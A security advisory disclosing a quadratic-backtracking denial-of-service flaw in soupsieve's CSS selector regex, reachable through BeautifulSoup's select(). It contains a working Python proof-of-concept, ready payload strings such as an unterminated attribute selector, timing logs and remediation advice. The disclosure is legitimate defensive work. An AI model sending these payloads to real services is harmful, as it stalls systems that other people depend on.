PYSEC-2026-4170

Summary

soupsieve compiles CSS selector strings with a set of hand-written regular expressions. The shared IDENTIFIER sub-pattern (also embedded in VALUE, and therefore in attribute selectors) places two adjacent quantified groups over overlapping character classes: (?:[classA]|ESC)+(?:[classB]|ESC)*, where both classes match ordinary identifier characters such as a. When a selector contains a long identifier/value run that must ultimately fail to match (e.g. an attribute value with no closing ], or an identifier followed by an invalid character), the regex engine backtracks across all O(n) ways to split the run between the + group and the * group, giving O(n²) parse time. A single attacker-controlled selector of a few kilobytes stalls the interpreter for many seconds of CPU; tens of kilobytes reach minutes.

Trust model (Q0)

The selector string is the input. It reaches this code via soupsieve.compile(), soupsieve.select/iselect/match/filter, and — most commonly — BeautifulSoup's soup.select(selector) / soup.select_one(selector), which delegate to soupsieve. This is exploitable in any application that passes a user-controlled CSS selector to BeautifulSoup/soupsieve (scrapers that accept selectors, no-code extraction tools, admin/query UIs). Applications that only use hard-coded selectors are not affected.

Root cause (exact anchors) — src/soupsieve/css_parser.py

# lines 122-126
IDENTIFIER = fr'''
(?:(?:-?(?:[^\x00-\x2f\x30-\x40\x5B-\x5E\x60\x7B-\x9f]|{CSS_ESCAPES})+|--)
(?:[^\x00-\x2c\x2e\x2f\x3A-\x40\x5B-\x5E\x60\x7B-\x9f]|{CSS_ESCAPES})*)
'''
# line 129 — VALUE embeds IDENTIFIER (so attribute values inherit the pattern)
VALUE = fr'''(?:"(?:\\(?:.|{NEWLINE})|[^\\"\r\n\f])*?"|'...'|{IDENTIFIER})'''

• classA [^\x00-\x2f\x30-\x40\x5B-\x5E\x60\x7B-\x9f] excludes digits (0x30-0x39); classB [^\x00-\x2c\x2e\x2f\x3A-\x40\x5B-\x5E\x60\x7B-\x9f] allows digits. The intent is "first char not a digit, remaining chars may be digits."
• Both classes match ordinary letters (e.g. a = 0x61). The construct is therefore effectively (?:C)+(?:C)* over an overlapping class C — the canonical adjacent-quantifier shape that backtracks quadratically on a failing match.

The quadratic only manifests when the overall match must fail. IDENTIFIER matched greedily on "a"*n succeeds in linear time (~1 ms at n=32000). Anchoring it so a following element is mandatory and fails (IDENTIFIER + "$" against "a"*n + "!") reproduces the O(n²) directly: n=2000 → 44 ms, 4000 → 257 ms, 8000 → 743 ms, 16000 → 2944 ms (~×4 per ×2). Profiling compile("[a=" + "a"*4000) shows only 12 re.match calls consuming 2.685 s — i.e. the cost is inside a single regex match, confirming regex backtracking (not loop overhead).

Reproduction environment (discipline #12 — published artifact)

• git HEAD 751c57b (2.9, PYTHONPATH=src): cd src && python3 ../poc/poc_redos_compile.py.
• Published PyPI soupsieve 2.8.4 (fresh uv pip install soupsieve beautifulsoup4): cd poc && ../.venv-published/bin/python poc_redos_compile.py → same O(n²) (evidence: poc/evidence_redos_compile_PUBLISHED_2.8.4.log).
• Python 3.11.15 and 3.14.6 both reproduce.

PoC (poc/poc_redos_compile.py)

import sys, time
sys.path.insert(0, ".")
import soupsieve as sv

def compile_time(sel):
    t0 = time.perf_counter()
    try:
        sv.compile(sel)
        status = "ok"
    except Exception as e:
        status = type(e).__name__
    return (time.perf_counter() - t0), status

print(f"soupsieve {sv.__version__}\n")

print("Payload A: '[a=' + 'a'*n   (unterminated attribute value)")
for n in (1000, 2000, 4000, 8000):
    dt, st = compile_time("[a=" + "a" * n)
    print(f"  n={n:<6} len={3+n:<7} {dt*1000:9.1f} ms  [{st}]")

print("\nPayload B: 'a'*n + '!'   (identifier run + invalid trailing char)")
for n in (2000, 4000, 8000, 16000):
    dt, st = compile_time("a" * n + "!")
    print(f"  n={n:<6} len={n+1:<7} {dt*1000:9.1f} ms  [{st}]")

payload = "[a=" + "a" * 12000
dt, st = compile_time(payload)
print(f"\n[+] Single call: compile('[a=' + 'a'*12000)  (len={len(payload)})")
print(f"[+] wall time = {dt:.2f} s   [{st}]")

End-to-end note: bs4.BeautifulSoup(html).select(payload) reaches the same compile() path, so the stall is triggerable directly through BeautifulSoup with a user-supplied selector. Verified on bs4 4.15.0 + soupsieve 2.8.4: soup.select("[a=" + "a"*6000) took ~5.0 s for one call (evidence: poc/evidence_bs4_select_PUBLISHED_2.8.4.log).

Evidence — HEAD 2.9 (verbatim poc/evidence_redos_compile.log)

soupsieve 2.9

Payload A: '[a=' + 'a'*n   (unterminated attribute value)
  n=1000   len=1003        214.8 ms  [SelectorSyntaxError]
  n=2000   len=2003        504.7 ms  [SelectorSyntaxError]
  n=4000   len=4003       2031.9 ms  [SelectorSyntaxError]
  n=8000   len=8003       8091.3 ms  [SelectorSyntaxError]

Payload B: 'a'*n + '!'   (identifier run + invalid trailing char)
  n=2000   len=2001         79.7 ms  [SelectorSyntaxError]
  n=4000   len=4001        322.9 ms  [SelectorSyntaxError]
  n=8000   len=8001       1328.9 ms  [SelectorSyntaxError]
  n=16000  len=16001      5379.4 ms  [SelectorSyntaxError]

[+] Single call: compile('[a=' + 'a'*12000)  (len=12003)
[+] wall time = 18.28 s   [SelectorSyntaxError]

Evidence — published 2.8.4 (verbatim poc/evidence_redos_compile_PUBLISHED_2.8.4.log)

soupsieve 2.8.4
Payload A: '[a=' + 'a'*n
  n=1000   len=1003        113.9 ms  [SelectorSyntaxError]
  n=2000   len=2003        457.2 ms  [SelectorSyntaxError]
  n=4000   len=4003       1816.8 ms  [SelectorSyntaxError]
  n=8000   len=8003       7299.0 ms  [SelectorSyntaxError]
[+] Single call: compile('[a=' + 'a'*12000)  wall time = 16.57 s   [SelectorSyntaxError]

Impact — calibrated

• Confirmed: quadratic CPU consumption per compile()/select() call on an attacker-controlled selector. ~8 KB → ~8 s; ~12 KB → ~17 s; scaling ~×4 per input doubling. A handful of such requests exhausts a worker/thread and degrades or stalls the service (single-threaded regex holds the GIL).
• Realistic exposure: services that accept user-supplied CSS selectors and feed them to BeautifulSoup/soupsieve.
• NOT claimed: exponential blowup, memory corruption, or code execution. This is strictly an availability (DoS) issue, and only where selectors are attacker-influenced. Applications using only fixed selectors are unaffected — stated to avoid inflation.

Remediation

• Remove the adjacent-quantifier ambiguity in IDENTIFIER: match a single leading non-digit character then the remaining class once, e.g. (?:-?(?:[classA]|ESC)(?:[classB]|ESC)*|--(?:[classB]|ESC)*), so no +/* pair spans the same characters.
• Alternatively use atomic grouping / possessive quantifiers where supported ((?>...), *+) to forbid backtracking into the identifier run.
• Defense-in-depth: cap selector length before compiling (reject selectors beyond a sane bound), since CSS selectors are realistically short.